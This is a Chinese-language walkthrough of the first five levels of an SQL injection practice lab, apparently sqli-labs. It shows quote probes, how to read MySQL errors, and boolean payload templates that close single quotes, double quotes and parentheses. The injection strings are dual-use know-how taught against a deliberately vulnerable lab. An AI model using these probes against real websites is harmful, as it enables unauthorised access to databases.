这部分相信大部分人都会了,我简单推荐一种简单的组合
wamp 实现一键部署,其中包含PHP环境
navicat 导入数据
这里悄悄的给出一种作弊的方法,就是在每句SQL语句后面:
echo $sql. '
';
如果是练习盲注的同学还是老老实实按照不作弊的方式来。
id=1'
id=1"
单引号
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
双引号没有报错
这里的’可以直接得出,他是基于单字符的SQL语句,我们尝试闭合他。
这里双引号为什么没有报错呢?
我们采用白盒(作弊)的方式去解释:
SELECT * FROM users WHERE id='1"' LIMIT 0,1
可以看到我们的1”被当做参数直接去调用了,不存在语法错误。
SELECT * FROM users WHERE id='1'' LIMIT 0,1
而当为单引号的时候,参数1’提早闭合了’1’那么后面的’就会报错。
我们看到后面的单引号’是多出来的,我们尝试闭合。
尝试最经典的检测方法
id=1' and '1'='1
id=1' and '1'='2
最经典的的注入的现象。
最后得出payload
id=1' and [payload] and '1'='1
Less 2比Less 1还简单,在Less 1的基础上,我们直接得出
payload:
id=1 and [payload] and 1=1
id=1'
出现的报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以看出,这里的的参数可能是使用如下这种格式的:
SELECT * FROM users WHERE id=('1');
我们使用之前讲到的方法也验证的如上的说法。
首先我们要做的就是闭合这个(,尝试如下:
id=1') and (1=1
结果为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
可以看出)的前面有个’,所以我们还要闭合这个单引号,最后就变成了。
id=1') and ('1'='1
id=1') and ('1'='2
尝试后均没有报错,得出payload:
id=1') and [payload] and ('1'='1
这次是双引号出现报错:
id=1"
出现如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
这题和Less 3很相似,唯一不同的点就是Less 3中需要被闭合的是单引号,而4中是双引号,最后尝试构造如下:
id=1") and ("1"="1
id=1") and ("1"="2
测试成功,得出payload:
id=1") and [payload] and ("1"="1
Less 5的答案很简单,但是他没有显示出数据,但还是可以基于报错去判断和构造SQL语句。
尝试1:
id=1'
报错内容:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
直接按照常规的方法去构造:
id=1' and '1'='1
id=1' and '1'='2
其中输出的SQL语句为作弊专用。
还好是存在报错提示,不然如果出现这样没有显示数据的情况,很难判断是否已经被可以被注入了。
我们来看一下代码确认一下:
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
echo '';
}
可以确定的是,SQL语句结果为最后为True或者False都不显示数据。
判断的条件是是否出现You are in………..这句话。
因为如果语法错误的话,直接回抛出相应的SQL报错。
那么我们就放心的构造payload:
id=1' and [payload] and '1'='1
http://blog.csdn.net/u012763794/article/details/51207833